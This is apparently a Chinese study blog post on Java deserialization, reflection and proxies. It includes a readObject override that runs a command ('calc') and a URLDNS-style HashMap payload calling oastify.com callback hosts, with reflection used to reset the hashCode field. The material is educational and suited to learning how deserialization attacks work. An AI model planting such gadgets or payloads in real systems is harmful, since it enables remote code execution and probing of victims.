java原生序列化和反序列化

一个简单的例子,通过FileOutputStreamFileInputStream完成,前提是person类继承了Serializable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.yiyi;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.ser"));
oos.writeObject(obj);
}


public static Object unserializeTest(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;

}

public static void main(String[] args) throws Exception {
Person person = new Person("yiyi", 30);
System.out.println(person);

// HashMap<URL,Integer> hashmap = new HashMzap<URL,Integer>();
// hashmap.put(new URL("http://5lra77655gfknn84kstknqne65cw0n1bq.oastify.com"),1);

System.out.println("ser");
serializeTest(person);

// serializeTest(hashmap);

System.out.println("unser");
Person person2 = (Person)unserializeTest("person.ser");
System.out.println(person2);

}

}

这时候如果给Person类加上readObject方法,就可以自定义一些恶意的命令执行

称为入口类的readObject直接调用危险方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.yiyi;


import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
private String name;
private int age;

@Override
public String toString() {
return "Person [name=" + name + ", age=" + age + "]";
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

image-20241214182948772

还有一种是入口类参数中包含可控类,但该类有危险方法或调用其他危险方法的类,readObject时调用

如:使用hashmap进行恶意命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.yiyi;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.ser"));
oos.writeObject(obj);
}


public static Object unserializeTest(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;

}

public static void main(String[] args) throws Exception {
// Person person = new Person("yiyi", 30);
// System.out.println(person);

HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://5lra77655gfknn84kstknqne65cw0n1bq.oastify.com"),1);

System.out.println("ser");
serializeTest(hashmap);


System.out.println("unser");
unserializeTest("person.ser");
// System.out.println(person2);

}
}

image-20241214183322100

在序列化过程中,hashmap.put会自动调用hash方法

image-20241214183431852

hash方法

image-20241214183450358

那么就会调用hashCode(),因此在put时就已经发起了DNS请求

跟踪一下URL中的hashcode()

image-20241214183629412

判断了hashcode是否等于-1,如果不等于-1则不会继续走下去,切hashcode初始值为1

image-20241214183744206

因此在序列化过程中hashcode的值已经被URL更改,在反序列化时就不会得到预想结果

因此需要做的是在序列化过程中不发起请求,在put结束后将hashcode改回-1

我们通过反射来实现。。

反射

反射让java具有动态性

  • 修改已有对象属性
  • 动态生成对象
  • 动态调用方法
  • 操作内部类和私有方法

获取实例化对象

getClass()

image-20241214184915596

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.yiyi;

import java.lang.reflect.Constructor;

public class Main {
public static void main(String[] args) throws Exception {
Person person = new Person("yiyi",10);
Class c = person.getClass();
// System.out.println(c);
// 获取构造函数
Constructor ctor = c.getConstructor(String.class, int.class);
Person p = (Person)ctor.newInstance("yiyi", 18);
System.out.println(p);
}

}

image-20241214190238515

获取类里面的属性

getFields()无法打印private属性,因为这里我的age为private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.yiyi;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {
public static void main(String[] args) throws Exception {
Person person = new Person("yiyi",10);
Class c = person.getClass();
// System.out.println(c);
// 获取构造函数
Constructor ctor = c.getConstructor(String.class, int.class);
Person p = (Person)ctor.newInstance("yiyi", 18);
System.out.println(p);

// 获取类里面的属性
Field[] personFilds = c.getFields();
System.out.println(personFilds.length);
for (Field f :personFilds){
System.out.println(f);
}

}

}

image-20241214191100888

使用getDeclaredFields

image-20241214191142687

同样也可以不用数组获取

1
2
Field name = Person.class.getDeclaredField("name");
System.out.println(name);

改值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    package com.yiyi;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {
public static void main(String[] args) throws Exception {
Person person = new Person("yiyi",10);
Class c = person.getClass();
// System.out.println(c);
// 获取构造函数
Constructor ctor = c.getConstructor(String.class, int.class);
Person p = (Person)ctor.newInstance("yiyi", 18);
System.out.println(p);

// 获取类里面的属性
// Field[] personFilds = c.getFields();
// System.out.println(personFilds.length);
// for (Field f :personFilds){
// System.out.println(f);
// }
Field name = Person.class.getDeclaredField("name");
System.out.println(name);
name.set(p, "abcabc");
System.out.println(p);

}

}

image-20241214191517271

此方法对私有属性无效

1
2
3
4
5
6
Exception in thread "main" java.lang.IllegalAccessException: class com.yiyi.Main cannot access a member of class com.yiyi.Person with modifiers "private"
at java.base/jdk.internal.reflect.Reflection.newIllegalAccessException(Reflection.java:392)
at java.base/java.lang.reflect.AccessibleObject.checkAccess(AccessibleObject.java:674)
at java.base/java.lang.reflect.Field.checkAccess(Field.java:1102)
at java.base/java.lang.reflect.Field.set(Field.java:797)
at com.yiyi.Main.main(Main.java:24)

使用setAccessible()

image-20241214191916812

最终测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    package com.yiyi;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {
public static void main(String[] args) throws Exception {
Person person = new Person("yiyi",10);
Class c = person.getClass();
// System.out.println(c);
// 获取构造函数
Constructor ctor = c.getConstructor(String.class, int.class);
Person p = (Person)ctor.newInstance("yiyi", 18);
System.out.println(p);

// 获取类里面的属性
// Field[] personFilds = c.getFields();
// System.out.println(personFilds.length);
// for (Field f :personFilds){
// System.out.println(f);
// }
Field name = Person.class.getDeclaredField("name");
// System.out.println(name);
name.set(p, "11");
System.out.println(p);


Field age = Person.class.getDeclaredField("age");
// System.out.println(age);
age.setAccessible(true);
age.set(p, 100000);
System.out.println(p);

}

}

调用类里面的方法

1
2
3
4
5
//            调用类里面的属性
Method[] personmethods = c.getMethods();
for(Method m: personmethods){
System.out.println(m);
}

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
D:\Java\jdk-17\bin\java.exe "-javaagent:D:\IntelliJ IDEA 2024.1.7\lib\idea_rt.jar=55888:D:\IntelliJ IDEA 2024.1.7\bin" -Dfile.encoding=UTF-8 -classpath C:\Users\31702\Desktop\java\test\target\classes;C:\Users\31702\.m2\repository\commons-collections\commons-collections\3.1\commons-collections-3.1.jar com.yiyi.Main
Person [name=yiyi, age=18]
Person [name=11, age=18]
Person [name=11, age=100000]
public void com.yiyi.Person.setAge(int)
public int com.yiyi.Person.getAge()
public java.lang.String com.yiyi.Person.getName()
public java.lang.String com.yiyi.Person.toString()
public void com.yiyi.Person.setName(java.lang.String)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

进程已结束,退出代码为 0

我们在Person.java写一个

1
2
3
public void action(String act){
System.out.println(act);
}

可以发现多了一个

image-20241223203202778

那么就可以尝试调用

1
2
Method actionmethod = c.getMethod("action", String.class);
actionmethod.invoke(p, "11nb");

image-20241223203739356

所以回过头看第一部分遇到的问题,我们在hashmap.put(url, 1);时要使hashCode不等于-1

image-20241224143957234

原来

image-20241224144812378

现在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.yiyi;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));
oos.writeObject(obj);
}


public static void main(String[] args) throws Exception {

HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://yxzn5id5x72oeq4p08k5xavin9t0hq5f.oastify.com");

Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.set(url,1234);

hashmap.put(url, 1);

serializeTest(hashmap);


}
}

如果报错

1
2
3
4
5
6
7
8
9
10
D:\Java\jdk-17\bin\java.exe "-javaagent:D:\IntelliJ IDEA 2024.1.7\lib\idea_rt.jar=55074:D:\IntelliJ IDEA 2024.1.7\bin" -Dfile.encoding=UTF-8 -classpath C:\Users\31702\Desktop\java\test\target\classes;C:\Users\31702\.m2\repository\commons-collections\commons-collections\3.1\commons-collections-3.1.jar com.yiyi.SerializationTest
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field private int java.net.URL.hashCode accessible: module java.base does not "opens java.net" to unnamed module @214c265e
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
at java.base/java.lang.reflect.Field.setAccessible(Field.java:172)
at com.yiyi.SerializationTest.main(SerializationTest.java:22)

进程已结束,退出代码为 1

在VM options处加上

1
--add-opens java.base/java.net=ALL-UNNAMED

image-20241224150848160

就发现轮询不到了

image-20241224151119693

put后面再改成-1

1
hashcodefield.set(url,-1);

打个断点调试一下

image-20241224152138652

image-20241224152212393

image-20241224152221508

可以很明显的看到put前后hashcode的变化

动态代理

 代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行某些功能的附加与扩展

常规

1
2
3
4
5
6
7
8
9
package com.yiyi;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
user.show();
}
}

使用proxy

1
2
3
4
5
6
7
8
9
10
11
package com.yiyi;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
// user.show();
IUser userProxy = new UserProxy(user);
userProxy.show();
}
}

个人感觉这种静态代理实现的是个日志功能

但是静态代理在方法繁多的情况下代码量大,因此引入动态代理

直接看这个

Java动态代理-CSDN博客